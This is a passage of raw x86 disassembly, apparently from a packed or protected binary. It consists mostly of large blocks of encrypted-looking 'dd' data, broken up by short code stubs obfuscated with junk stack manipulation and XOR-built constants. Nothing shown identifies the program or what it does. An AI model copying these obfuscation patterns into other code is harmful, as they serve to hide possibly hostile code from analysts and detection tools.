		dd 7087940h, 357B6809h,	0D35896FFh, 0F6E6FE05h,	0DB009DC1h
		dd 6BF5C0C7h, 0DB009D31h, 1CC8334Ch, 0E3F0D256h, 0CFC88FC8h
		dd 909BB7h, 0C7990000h,	8B8C5017h, 73229F6Ah, 27F2E5B4h
		dd 0F1276D5Ah, 0F7D3596Fh, 8704CFF0h, 78F5C0D7h, 979CB1A6h
		dd 234D5B75h, 3F103AAFh, 0E7B47F98h, 43BFDFCFh,	0F0A2D359h
		dd 2F28D2E7h, 0AB4FAE7h, 10DB03F1h, 30E31C09h, 6A291227h
		dd 79D2756Dh, 6E03F49Ch, 61896h, 0E5F2A300h, 2235E7D0h
		dd 6374240Dh, 0A6B1654Eh, 0E2F5A891h, 9B0ABFCDh, 0E1CADFF8h
		dd 230C2136h, 634C6176h, 0AF8FA4B3h, 4B94CA10h,	9ACBAAh
		dd 314C752h, 425505EEh,	17C7412Dh, 25F11300h, 355DEDB4h
		dd 51104BEh, 0D7EB76D9h, 1049E2BFh, 0B5824D4Ah,	0FF18BA9Dh
		dd 1C3BD912h, 3999DD04h, 0C2000000h, 3CEC989h, 0CD034936h
		dd 0D3D3587Ah, 0C7CEB4CCh, 0B8350017h, 0A926F1E6h, 7F983CEBh
		dd 4616935Eh, 37328651h, 4A45EDCCh, 898E50DFh, 0A4B3639Ch
		dd 1221658Ch, 63000000h, 350017C7h, 597072ABh, 42AD54D3h
		dd 0DFF4E3B3h, 8689ABF3h, 0D9084E2Ch, 6BE20AD0h, 0E0AADB1h
		dd 0A44313F6h, 0F4BFE0F7h, 8875A1B6h, 7AF1E42h,	301D24DBh
		dd 29727F7h, 0AE31CA46h, 4B847192h, 4006F38Bh, 1D81BCCEh
		dd 0D4BDE4FCh, 0C4A1502h, 0BCDECB0Bh, 6FB55C20h, 0DB07EB39h
		dd 567E383Fh, 0A09FB75Fh
		dd 0B7038B5Ah, 9D8A91E2h, 90A5B264h, 3B26698Bh,	4D02ECEEh
		dd 97805235h, 4D898ECCh, 0C2991A60h, 989FEA5Eh,	33A8E3A0h
		dd 734BE0E4h, 4E9h, 9FB4A374h, 0DCF1E6B6h, 1D3225F3h, 5C716634h
		dd 0A2B7A073h, 0AD703594h, 0EDAC95AAh, 2FECD5EAh, 682A1328h
		dd 0DB7A5A6Fh, 0AA4A5F95h, 1DCB65CBh, 0B7A072ABh, 0FD1ABC9Fh
		dd 6C5FFFE8h, 596FF026h, 1EEFF6D3h, 0C08D587Fh,	0E63BD49Fh
		dd 11EFE8ADh, 0D35970DBh, 92C80EE1h, 98D35970h,	75587091h
		dd 405702A5h, 0BC87A875h, 5FA5FAF7h, 0D3597029h, 0F510282Fh
		dd 0A35BFB8Ah, 0F61F0B57h, 0D186577Ch, 0D2EFBC6h, 64B8F2F8h
		dd 3D811BA8h, 7F000000h, 0D8C51106h, 0C5DDFA9Fh, 0BE9380C6h
		dd 9299DB01h, 0A8AF6CA5h, 0BE659D93h, 9648DB01h, 0F93F9481h
		dd 0DB01BEC3h, 21F1C2C9h, 869E6B36h, 77215A5Fh,	0B0654860h
		dd 1E04DCA7h, 46000004h, 966717C7h, 75C35E3Ah, 36926E8Bh
		dd 67882327h, 9D4C396h,	0D3501B3Ch, 0FAFF1403h,	370215C1h
		dd 0A9AE526Ah, 0C5E806Dh, 0FDE5D411h, 0DA2F2E46h, 8C093F85h
		dd 80FD358h, 0B4BF00F0h, 0BEC5DB00h, 0B42F69F3h, 314ADB00h
		dd 0B7F91BC6h, 0B7047FADh, 54D4D65h, 0DCE3FFD6h, 20h, 0C51106DAh
		dd 765D92D8h, 5C63DB01h, 76CD0791h, 0CFE8DB01h,	0FBF2B864h
		dd 0DF47E3FFh, 45000000h, 350017C7h, 0CB01479Ch, 0D1D35970h
		dd 0CCFB2CAh, 13C3400Bh, 1ABC3904h, 0A2F2E8FDh,	69D35975h
		dd 0A06B6C30h, 6D8BBD3h, 4313FC11h, 0D9126754h,	824F1A3Dh
		dd 59756EA4h, 928551D3h, 454CFAC7h, 512502Dh, 319EE4D1h
		dd 37DB0184h, 0E4711B30h, 9DBED980h, 0C2395BB0h, 0CEFA8A0Dh
		dd 0A353435Bh, 0A9E2AD0Dh, 0D28423F2h, 71B7A4C5h, 0E2AD0D3Bh
		dd 2C193A41h, 0DEF99ED7h, 4B2E4613h, 757A8F88h,	7BD3F53h
		dd 0C2DA7B79h, 231B3CDFh, 0FC656054h, 0A6840D5h, 95000003h
		dd 0D5BED3C4h, 12FB1007h, 533C5146h, 927B9087h,	0B1BFD4C3h
		dd 0C9CE8D18h, 0B0CCBB4h, 4F480DF6h, 9681513Ah,	0BC02A181h
		dd 0CBAA4886h, 0C744F28Ch, 0DD160314h, 0ED531E39h, 0A7388F70h
		dd 0CFE70852h, 0F81FBFA8h, 1106F7E3h, 5D92D8C5h, 24DB0176h
		dd 632E29EBh, 0B7BE7E96h, 762862ECh, 2A43DB01h,	0FB5F13BFh
		dd 0B9A2E3FFh, 0A0000000h, 350017C7h, 27F2E5B8h, 59754D9Dh
		dd 696E30D3h, 46164F54h, 84563951h, 8D8AC893h, 0A9165C49h
		dd 70DB0184h, 849FD51Bh, 9EA5DB01h, 0D2BFC686h,	0A0A3D8B0h
		dd 0DF997038h, 0F57E89B6h, 173E56E5h, 0DC7CE86Dh, 223F0BBh
		dd 21C0CF15h, 0BFC6E2ACh, 0DDFA99D2h, 0F7E0B7F0h, 2C725F2Ch
		dd 0E2AC20F6h, 0B6DDF5FCh, 11090ECDh, 0FC64495Ch, 2A5C34C9h
		dd 0B5000002h, 0F5DEF3E4h, 321B3027h, 735C7166h, 0B29BB0A7h
		dd 0D1DFF4E3h, 0E9EEADF8h, 2B2CEBD4h, 6F682D16h, 0B6A1715Ah
		dd 0DC22C1A1h, 0CBAA47A6h, 0C76412ACh, 5EE0314h, 282D4255h
		dd 0D2A32106h, 5B1502h,	63496194h, 350017C7h, 0CB01479Ch
		dd 0D1D35970h, 3C5D7A1Ah, 0D3950B82h, 1896B7h, 6D5A7D1Dh
		dd 0AA756234h, 0B59EC5DDh, 0E927F2E5h, 66BBA86Ch, 24C55C44h
		dd 0B19E053Dh, 5894356Bh, 1C343BD3h, 0C6232Ch, 0A07229DBh
		dd 0FE1FECB7h, 0A00BB833h, 0F3A64111h, 2B4C19E4h, 76BC1116h
		dd 0DB00C640h, 83273F46h, 0F554292h, 0E2A8E182h, 4F481049h
		dd 1AC07737h, 9411DCFDh, 647325C2h, 7D1D5643h, 4EA186C1h
		dd 0B8D9FA78h, 746FC3A0h, 785CB909h, 9BE1368Bh,	0E2A88965h
		dd 5C4C646Bh, 0EA50A3CFh, 86BC02D5h, 8CEA50A3h,	664F6485h
		dd 61B6A3B4h, 50A3E51Bh, 0A79DFEAh, 7A5E1941h, 0D0ADC5CCh
		dd 0A4918653h, 0EDD3094Fh, 0D2D9EA50h, 0B562DDBAh, 0FC1BBB4Ah
		dd 63D83DE7h, 0A4887AC0h, 613405A9h, 0BDDEAB76h, 96427BD0h
		dd 0F11205D1h, 9F5926h,	0BB9BC80Dh, 0EBF4E4FCh,	0F1F1F97Ch
		dd 64861FEAh, 2D55D24h,	892C5B15h, 18457BC1h, 444BF1FAh
		dd 92855223h, 0D0C7977Ah, 12488EE3h, 18F1FA18h,	0A11CF911h
		dd 0DC3989F4h, 0BCC50BF8h, 0C2F9A24Ah, 1BFCA6BBh, 814C4B0Bh
		dd 4B81C7B4h, 51F9A24Ah, 0F63C294Ah, 1516023h, 1AA47229h
		dd 673BA973h, 86A7C88Bh, 2BE922BBh, 0EDB8DF7Ch,	6734FF20h
		dd 0FDAA6C4Fh, 0A16E395Eh, 3F0A0DD0h, 533C5172h, 2334E483h
		dd 7D6A8B58h, 8EA5C65Bh, 0C4DC517Bh, 462C4EE7h,	5F95DB2Eh
		dd 650150BDh, 34A3A45Eh, 0E6FCEC04h, 0F24216C6h, 513ADA13h
		dd 16C7D50Bh, 0B3D4DB42h, 8615809Bh, 564113D4h,	67372035h
		dd 0DDFE19C0h, 0D6C19512h, 78E3900Bh, 412E29E9h, 0C770A6ECh
		dd 0BF764216h, 1FD9FA1Dh, 8297DACFh, 0A4CBE3B8h, 0FFC1BBBh
		dd 150F4DEDh, 51DF8BCh,	35028h,	0DC920000h, 116C73Eh, 0FE19B936h
		dd 0F6E1B633h, 0ECEBAE2Bh, 0E6F1A421h, 0D8FF9E1Bh, 0CDCA900Dh
		dd 0C4D38502h, 0BFD87CF9h, 48683CF4h, 89000025h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		push	55213D15h
		pop	edi
		neg	edi
		shl	edi, 7
		push	edx
		mov	edx, 68CE6354h
		xor	edi, edx
		pop	edx
		mov	ebx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		add	dword ptr [esp], 50E24882h
		pop	dword ptr [eax+8]
		sub	dword ptr [eax+8], 50E24882h
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_58941B
; ---------------------------------------------------------------------------
		db 29h
		dd 0A046E324h, 77A80216h, 0B8C5B98Ch, 7AF2B61h,	0E0FFC503h
		dd 4DE1922Eh, 1659BCBFh, 76F06076h, 4D9D71AAh, 1000F007h
		dd 65E924CAh, 309AF6A1h, 24989EE2h, 2CBD8D8Dh, 8D8907AFh
		dd 7A81731h, 19BD8960h,	8B07A824h, 0A831459Dh, 85C76107h
		dd 7A80A59h, 6E78h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 89C35343h, 0E2816626h, 958920BAh, 7A814CDh
		dd 93985C7h, 7A8h, 85030000h, 7A827E1h,	1479B5FFh, 6A07A8h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 2A6B89C3h, 1E219D8Bh, 95FF07A8h, 7A81A99h, 6AF3BF0Fh
		dd 2195FF00h, 8B07A80Dh, 626CEBC0h, 9E657Fh, 3B4A3F70h
		dd 1C0BEE8Fh, 8FDE3538h, 21BBA5CBh, 70B35397h, 74B201C8h
		dd 0AB09FE53h, 0A71414D3h, 175D23C6h, 0A115614Eh, 8876EDBBh
		dd 0FE855B3Ch, 3CB9F54Bh, 221F6C1Ah, 0B7F1080Ah, 0C16F4817h
		dd 0C8219241h, 42EC0518h, 0BC1AEC7Dh, 0DAA80F3Ch, 0C42D2356h
		dd 653726E5h, 0B85B71C6h, 93A0E9DCh, 559CBD83h,	0E87EE1A7h
		dd 9, 43999E7Ch, 8CBBFAEBh, 0FABF0F3Dh,	3AC2815Ah, 8B00006Bh
		dd 1AAB68F3h, 0BE660000h, 605B7B96h, 0E55B589h,	8D2907A8h
		dd 7A83379h, 8B0A8B61h,	0A82F49B5h, 2F18107h, 892E4738h
		dd 0A810AD8Dh, 8BC18107h, 516C2774h, 815830B0h,	469B61C1h
		dd 0F0A8947h, 0D8Ch, 0D8BF6000h, 8B3DF218h, 0A81E2185h
		dd 0EA836107h, 4B5F5304h, 0FFBB850Fh, 14E8FFFFh, 4C000000h
		dd 0E9B87E7Eh, 5760074h, 2CCDBDBAh, 9E531410h, 89A8FA26h
		dd 0A82A2D9Dh, 6E85807h, 5E000000h, 0F7C603ADh,	59C28BBBh
		dd 10CD9D8Bh, 0C18107A8h, 72B3h, 0BE9h,	13AF4200h, 0C56A6452h
		dd 7A964A70h, 68h, 218D8900h, 5E07A82Dh, 14359D8Bh, 3C8B07A8h
		dd 0B9958B31h, 8107A822h, 0E7D55CF7h, 81666032h, 8B2290EEh
		dd 0A82C9185h, 0EF816107h, 33D1BA77h, 0EF81A2B2h, 5FF58EB0h
		dd 2821BD29h, 3C8907A8h, 85E48031h, 6E9h, 9CD72500h, 832C7077h
		dd 958B04EEh, 7A817FDh,	8DDCFE81h, 850FFFFFh, 0FFFFFFAAh
		dd 101DB589h, 2AE907A8h, 0CE000000h, 6DE79Fh, 9	dup(0)
		dd 4E3E900h, 99680000h,	0E907AF2Fh, 0FFF95117h,	0AF300468h
		dd 510DE907h, 0A468FFF9h, 0E907AF31h, 0FFF95103h, 3B504718h
		dd 80958252h, 0C1D6C197h, 1502D8h, 3E534417h, 490C9930h
		dd 8950394Eh, 0CB90798Eh, 0CCEB7CCh, 7716F60Bh,	0AA41FB31h
		dd 0B96701CBh, 380314C7h, 0E7FC1BBBh, 0FFCD83Dh, 199DCC9h
		dd 0AC6AA3DBh, 0CCD393ABh, 993D7701h, 7E20DB01h, 9911478Dh
		dd 1017DB01h, 0F7A724EFh, 97E15E0h, 0D26BF9Eh, 0D6BCF6A2h
		dd 69A2E3FFh, 13E0ABACh, 321DFFBh, 0ABDD0000h, 70DA1056h
		dd 1DBDD359h, 0B4622FFAh, 80AE95ADh, 3EDC48CDh,	60814E19h
		dd 0EA0B5173h, 27CAC6D3h, 0A9CA100Fh, 0AFDB015Fh, 0E944380Fh
		dd 946E282Fh, 0ABD4F507h, 65FD1CDDh, 0FDD93ED8h, 1625CA10h
		dd 242BE00Eh, 709EC059h, 1CA3817h, 0E66F132Bh, 0A0FB412Eh
		dd 0A6E7B5CCh, 0D979B29Fh, 814C4B0Eh, 957E93B4h, 5CDAD2C5h
		dd 5BE76ACAh, 31DEEC6h,	6D2E0000h, 0A86C556Ah, 0E7B19AAFh
		dd 24F2DBF0h, 66351E33h, 7B4E5C71h, 576C6B2Ah, 97ACAB6Eh
		dd 0D9EEE9AEh, 14292EF0h, 194F9534h, 1FCBAA41h,	1106D785h
		dd 0BE92D8C5h, 0C4DB089Eh, 0C497D0BDh, 4B91E6D3h, 0DB089E15h
		dd 0D5FC141Bh, 412E29ECh, 7857B01Fh, 0F81049AFh, 0D856911Bh
		dd 9939DB08h, 0F6D2867Eh, 48DDF499h, 2B270h, 512C300h
		dd 425507F0h, 8394442Dh, 0C6D1856Eh, 215C8B1h, 0BBEADFEDh
		dd 1EAFF18h, 432C4156h,	836C8196h, 0CFAFC4D3h, 40B4EA30h
		dd 20BACBAAh, 0F9110672h, 59707DB3h, 0AB7C83D3h, 0E0CDEEE9h
		dd 5FFD368Bh, 0C2A06D38h, 0D359708Ch, 589E8B92h, 0D3597022h
		dd 19092128h, 0DB089F45h, 0FC32784Bh, 2DB089Eh,	6D8E894Bh
		dd 0C6E8814Ch, 0E7F5B22Dh, 40304817h, 0DB08A606h, 5D282FE9h
		dd 541F38E0h, 0B08FFA0Bh, 0E793FE17h, 0E3F737A3h, 1B276h
		dd 17C77400h, 0E6B83500h, 2532DCF1h, 63849341h,	97EF3076h
		dd 61B6DB01h, 198E51Bh,	0CCE4EBDBh, 0BDF3390Ch,	0C3DB0199h
		dd 2A2DEBBCh, 83A53E09h, 0FBB320EBh, 144A9099h,	1ADB0228h
		dd 0EADAF213h, 0DB0228B0h, 9B47B2CBh, 0E3F0B5D7h, 312Ah
		dd 11062800h, 5D92D8C5h, 24DB0176h, 0A3FE0E02h,	18C275Dh
		dd 6C262DDBh, 6A82B021h, 4ED8A3AAh, 0DB023F14h,	0FFAB162Fh
		dd 0E3FF304Bh, 0EC8Eh, 17C78C00h, 0F5912D67h, 3BDDF92Ch
		dd 0FDAFB1Ch, 7E993D76h, 0EBCEE6B3h, 9422F28h, 59364E49h
		dd 0FA69EC0h, 0EC268B6Eh, 8621F1D4h, 28F5C0D7h,	7FC51A07h
		dd 0D358B549h, 5330484Fh, 0FE1304D6h, 58BAAC08h, 0C8CF8FD3h
		dd 0A4086DBh, 10D358BAh, 20CAF109h, 9DF2DF37h, 58BA2157h
		dd 82027D3h, 6819C309h,	4C1FDB03h, 368D006h, 0BD03D6DBh
		dd 0DB036887h, 4465868Dh, 587F1E57h, 7463326Bh,	894C355Ch
		dd 66EC968Eh, 56EBF49Fh, 1127Eh, 65722300h, 0A2B56750h
		dd 0E3F4A48Dh, 2631E5CEh, 62752811h, 1B8A3F4Dh,	614A5F78h
		dd 0A38CA1B6h, 0E3CCE1F6h, 2F0F2433h, 3F144A90h, 801ACBAAh
		dd 2389ABD2h, 2022EB32h, 0A64A9EAh, 0CE5F6D50h,	1700D3B6h
		dd 0AE791902h, 0DAC7E8EFh, 6236F1A1h, 21675475h, 0D358EDEBh
		dd 0ABD2EAF1h, 5F89ABBFh, 577B2715h, 494E0BDCh,	8B8C4E31h
		dd 849343C0h, 9DBA5E97h, 0C6ED05D2h, 0EEDB3B1Ch, 134BBA8h
		dd 4D0AC1DBh, 56027F4Ah, 12FF2041h, 81D3AD9h, 134D812h
		dd 0FC1BBBDBh, 385FFEE7h, 71956Dh, 6D70000h, 83D8C511h
		dd 0BD888F4Ah, 10E8D8F0h, 16DB089Fh, 17C7440Fh,	5002EB00h
		dd 0E7F27C47h, 0F345514Bh, 1A3DDB14h, 0ED7CE702h, 10152A2Dh
		dd 182250EEh, 1F37A4D6h, 0B27D9A3Ch, 89766135h,	33B8EE34h
		dd 0B7BE4551h, 9A47C29Fh, 0D9FEA02Fh, 0F3E4B3ECh, 1C435B28h
		dd 87746333h, 33B6EC32h, 0FB994551h, 964411DCh,	0C29A778Fh
		dd 3, 0C73EDC04h, 0B9360116h, 0B633FE19h, 0AE2BF6E1h, 0A421ECEBh
		dd 9E1BE6F1h, 900DD8FFh, 8502CDCAh, 7CF9C4D3h, 3CF4BFD8h
		dd 705668h, 24248900h, 4BA52h, 54010000h, 515A0424h, 0C181E189h
		dd 4, 8704E983h, 895C240Ch, 8952240Ch, 4C281E2h, 83000000h
		dd 148704EAh, 1C895C24h, 0C3685024h, 8B152434h,	0C4812404h
		dd 4, 3505E8C1h, 7060F09h, 5458C189h, 81241C8Bh, 4C4h
		dd 74956800h, 14890000h, 8BA24h, 0DA010000h, 0FF5A0A89h
		dd 815B2434h, 4C4h, 240C8B00h, 5E08950h, 4, 8704C083h
		dd 0E95C2404h, 0FFF94C47h, 0DC3DF5E7h, 4331367Ch, 32DBB883h
		dd 0C50307AFh, 0AC3FE0FFh, 0FE680B78h, 42336BDFh, 53A12393h
		dd 95E94690h, 277352D1h, 7BC97DF0h, 4CB815D6h, 0EB8A121Fh
		dd 52C519CAh, 385003F9h, 577E0A01h, 699A1B81h, 0F2353521h
		dd 0B80134h, 87E66344h,	0D2F961D4h, 0A420187Ch,	68F16623h
		dd 335F6C8Ah, 0FF0900E6h, 8E3A5726h, 0DC7B1FBFh, 0ED275F45h
		dd 0C8866353h, 8D8D4EE0h, 7AF34F5h, 28B0Fh, 5E530000h
		dd 17318D89h, 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 7DD5FBC3h, 9D316695h, 7A818FDh
		dd 0A5985C7h, 5F8807A8h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 93D529C3h, 0FABF0F66h
		dd 93985C7h, 7A8h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 83EC34C3h, 0FD7B70Fh
		dd 48Bh, 5BBE6600h, 0DDB5FF9Ah,	6A07A805h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 5880C352h
		dd 2D76F864h, 10E844B9h, 5C000000h, 8F744E00h, 89AB2F01h
		dd 4FAC5988h, 8B01CD30h, 95FF5BC1h, 7A81A99h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B4C35646h, 0F2E02A5Eh
		dd 6AA08A25h, 7D9D3129h, 6A07A829h, 2195FF00h, 8B07A80Dh
		dd 5269EBC0h, 95F5CF99h, 0AFB16B2Eh, 61EDFC08h,	0B4A57A7Ah
		dd 0A88248D4h, 1894DDF7h, 0D6D36D31h, 5FA69FB9h, 24A71294h
		dd 0C2E97E91h, 9DAA44A6h, 0DECE9DB0h, 0CD064FD2h, 47105587h
		dd 3AE37819h, 0AD59BB3Dh, 0CCA54284h, 1E53946Eh, 23B21610h
		dd 0CFC68B29h, 944CFD58h, 243CA389h, 34342E54h,	32BCD0CAh
		dd 0CFB7333h, 59212533h, 11E8h,	36E1500h, 50B99139h, 0A0FB47C2h
		dd 526818B5h, 0DE9373Bh, 52000000h, 0B53D64BBh,	9504693h
		dd 0EF4D69E5h, 91B58B5Fh, 8107A803h, 6805C7h, 798D8B00h
		dd 3307A80Ch, 11E9DBh, 0EC1B0000h, 1747AEF8h, 2CE024D8h
		dd 0F4B37755h, 0FFBFBF2Dh, 0B70F3B34h, 81FC5AC2h, 243ECCF2h
		dd 0FBE6B806h, 0F2815A40h, 48EEA1BCh, 3399BD89h, 0EA8107A8h
		dd 3CF803EEh, 1F1489F9h, 259DBD89h, 8D2907A8h, 7A829B1h
		dd 8902EB83h, 0A825099Dh, 814B4B07h, 0FF98B8FBh, 17850FFFh
		dd 8B000000h, 0A82F3DB5h, 1CE907h, 9B860000h, 0D945477Ch
		dd 43ACADB1h, 98E9ACCCh, 0BBFFFFFFh, 7A4EEEE8h,	0A6855351h
		dd 0CE86A05h, 0F6000000h, 0AE92BCB0h, 45E71A59h, 1203339h
		dd 0A834A9B5h, 9D8B5F07h, 7A826E9h, 618EC781h, 0D9810000h
		dd 7B6738A2h, 183568h, 81665600h, 5965E1DEh, 0C6815Ah
		dd 8B086939h, 0FB8B6007h, 0CE9h, 0C4C50600h, 0F4F167BDh
		dd 236D813Bh, 0F0816112h, 5FA8C1DDh, 81CEBF0Fh,	427ECEC0h
		dd 9D035777h, 7A8181Dh,	1EC0815Bh, 6642ADFDh, 8B50C88Bh
		dd 0A82D618Dh, 83078F07h, 0B58B04EFh, 7A82531h,	0F01EA83h
		dd 1A85h, 0ED8D8B00h, 0E907A832h, 29h, 0CB0113B4h, 19466A47h
		dd 88DC0969h, 2B19C9D2h, 0A830B59Dh, 0FF89E907h, 8F80FFFFh
		dd 0FABE6B5Dh, 5AF5F210h, 94885E62h, 7E845h, 894B0000h
		dd 0ABF5ED68h, 46C181FFh, 5A156CC1h, 0AE8h, 49670500h
		dd 52F3A68Bh, 898DB984h, 0A80355BDh, 0C2815F07h, 5AB1h
		dd 21758531h, 11B807A8h, 8108601Eh, 9FF86FC0h, 328BF8F7h
		dd 0A59D8Bh, 0F68107A8h, 6E8945C8h, 7A5BD8Bh, 0F68107A8h
		dd 53091C8Dh, 1887B966h, 30F0EE81h, 95314547h, 7A81D2Dh
		dd 0F606056h, 8Eh, 42EC8000h, 0FE861h, 79DD0000h, 3DEBECFCh
		dd 0BE217022h, 0C3E95150h, 0C2BF0FE8h, 28F6158h, 9C00BB66h
		dd 8902EA83h, 0A821FD8Dh, 574A4A07h, 1A558D29h,	815907A8h
		dd 1E8h, 8B850F00h, 66FFFFFFh, 0E8E6F1B9h, 0Dh,	0E33F9F08h
		dd 0FA6BF9F3h, 0C8D35F3Bh, 0F5BA66EAh, 0B70F58CBh, 0F1C081D8h
		dd 0E8000060h, 14h, 0B716DFBAh,	2FFF222h, 8AFB2137h, 60A5AE26h
		dd 0A237BD94h, 6840Fh, 0BD890000h, 7A82AB5h, 180EBE5Bh
		dd 81660000h, 8B48B9D3h, 5FB3BB38h, 0C7817B3Bh,	3B3853D6h
		dd 0D252BB66h, 0CF34EF81h, 8B663DD7h, 7CC781D9h, 0B121CF29h
		dd 0BB3889D4h, 5FE1983h, 4802E883h, 0B9BD8948h,	4E07A81Ah
		dd 1F850Fh, 8B0F0000h, 3, 0E9D18B66h, 29h, 75C87411h, 0A639DE57h
		dd 0EC63E001h, 8F448180h, 25B58951h, 0E907A833h, 0FFFFFF9Bh
		dd 8C50A3BDh, 38D76180h, 71A32C26h, 83C08B6Eh, 0A827F9BDh
		dd 9750007h, 605BD83h, 740007A8h, 8B535019h, 421B8C0h
		dd 85890000h, 7A82585h,	0B0239D8Dh, 0D3FF07AAh,	0BD83585Bh
		dd 7A80605h, 50177400h,	421B853h, 85890000h, 7A82585h
		dd 0AD129D8Dh, 0D3FF07AAh, 0C08B585Bh, 26819D8Bh, 85C607A8h
		dd 7A80619h, 0B8526856h, 0B5FF9CA8h, 7A80CE1h, 781A858Dh
		dd 0D0FF07ABh, 68046Ah,	0FF000010h, 0A82A89B5h,	0FF006A07h
		dd 0FC085D0h, 0D85h, 0B800h, 8D8D0000h,	7A871FBh, 0C88BE1FFh
		dd 4003C38Bh, 0F8053Ch,	508B0000h, 83D3030Ch, 0A8105DBDh
		dd 840F0007h, 0Eh, 105D9D8Bh, 858B07A8h, 7A833ADh, 52510389h
		dd 7B1B858Dh, 0D0FF07A8h, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h
		dd 7A80619h, 6D396856h,	0B5FFD41Fh, 7A80CE1h, 781A858Dh
		dd 0D0FF07ABh, 800068h,	52006A00h, 0C08BD0FFh, 27F9BD83h
		dd 750007A8h, 5BD8309h,	7A806h,	53501974h, 21B8C08Bh, 89000004h
		dd 0A80ECD85h, 8A9D8D07h, 0FF07AAB0h, 83585BD3h, 0A80605BDh
		dd 17740007h, 21B85350h, 89000004h, 0A80ECD85h,	2B9D8D07h
		dd 0FF07AAADh, 8B585BD3h, 5D9D8DC0h, 8B07A810h,	0FC00B03h
		dd 784h, 8B038B00h, 1889045Bh, 4B41B8h,	5E800h,	88FE0000h
		dd 0F64FE34h, 1B84h, 5E566000h,	11E8h, 7F410400h, 93FF09CAh
		dd 93381AF0h, 0FA2E225Bh, 6159A2E0h, 0DCD78158h, 817043C8h
		dd 0DB7AC0h, 0E9F86000h, 0Dh, 92654B8Eh, 90A1689Dh, 0E411EC62h
		dd 0DB2B611Dh, 7E9h, 11604800h,	0A9CDE8F0h, 600334FFh
		dd 8716BE66h, 2880Fh, 96B30000h, 13E85961h, 43000000h
		dd 5C881676h, 5C2F9C2Fh, 903DE104h, 0EB6C86EEh,	0EA81F4BDh
		dd 6F565ADCh, 0F6C1815Ah, 0F931C51Ch, 570CC181h, 0E9812A51h
		dd 542815Ch, 0AE8h, 0C2C4B400h,	50A51B3h, 0F85D8986h, 8C0F515Eh
		dd 3, 8FF3BF0Fh, 0EA811804h, 65616FF2h,	1772F4BAh, 3EB8370h
		dd 2850Fh, 0BEB60000h, 70FB814Bh, 0FFFFF25h, 0FFFF7B85h
		dd 0D860FFFh, 0E8000000h, 6, 994D9BFDh,	5EF9E250h, 3BA68D8Dh
		dd 9D8907AFh, 7A81E49h,	17318D89h, 0DE807A8h, 0D9000000h
		dd 366322CEh, 0DB8924Eh, 4845D4AFh, 2D0D958Bh, 0C75F07A8h
		dd 0A80A5985h, 595C07h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 4AAFE35Bh, 0D8BF0F8Bh
		dd 93985C7h, 7A8h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 990151C3h, 259D519Ch
		dd 216D9D8Bh, 0B5FF07A8h, 7A81479h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0AFC35141h,	0EC74D5C0h, 6A75FDC3h
		dd 2B18B4ACh, 0A80095BDh, 9995FF07h, 6A07A81Ah,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0C907C355h, 95FF006Ah, 7A80D21h, 6CEBC08Bh, 0C727222Ah
		dd 49077F34h, 1B426A6Bh, 5CBAF4Ah, 7F33FEBDh, 0A65F28CCh
		dd 0C8ED8D9Fh, 0D5C55174h, 975B86E7h, 119474DDh, 41CDF0DCh
		dd 0ABF6A0E6h, 0F13E1106h, 33E936Dh, 0A73228C9h, 9A254204h
		dd 1C8BAF8Ah, 1633E7B8h, 0AEA823A3h, 834C277h, 91805CCBh
		dd 8A017042h, 15D12264h, 0DD455311h, 0BDFF13EAh, 7954D520h
		dd 9041CF25h, 25719D8Dh, 90B807A8h, 89000024h, 0A82DF585h
		dd 0E807h, 5580000h, 0Dh, 90E90389h, 24h, 923h dup(0)
		dd 0E8000000h, 7, 4142C89Bh, 0FD53E0Dh,	665EDBBFh, 46CE281h
		dd 6B70C681h, 870F0000h, 6, 0DE1BD29h, 0C93307A8h, 33B900B8h
		dd 3134FF0Dh, 0DE9h, 0EACA1600h, 33E9615Ah, 0B62A7C50h
		dd 0F55FC816h, 7A77EF81h, 0C2811438h, 36FB3774h, 0CEF0EF81h
		dd 5AB37631h, 575EF781h, 8B665FF0h, 9D8B57C3h, 7A81D2Dh
		dd 0E90E048Fh, 0Eh, 58B62436h, 7EF89CCAh, 0E38BB472h, 958BCB5Fh
		dd 7A83059h, 8B04E983h,	0A8110D95h, 24F98107h, 0FFFFF95h
		dd 0FFFF9485h, 0BBC280FFh, 7E9h, 6535BA00h, 5Dh, 5A5E9h
		dd 898E4F00h, 0CEC98B74h, 0F08D0B9h, 524511FAh,	9681543Dh
		dd 4F567381h, 8D768B8Ch, 0CFB8CDCAh, 0FF80D0Ah,	5333484Fh
		dd 0F386EB4h, 0A43ECBAAh, 6717C7F6h, 0E1B3EB02h, 0A45E2BF6h
		dd 76975136h, 0B86F2EABh, 0C0D5F6E1h, 451007D7h, 0B3A473ACh
		dd 20031BE8h, 176C597Eh, 58E09BD1h, 829AA1D3h, 3D30CA5h
		dd 0C27C4914h, 5CCF6507h, 0C2A5BD83h, 0E4835512h, 0E1022334h
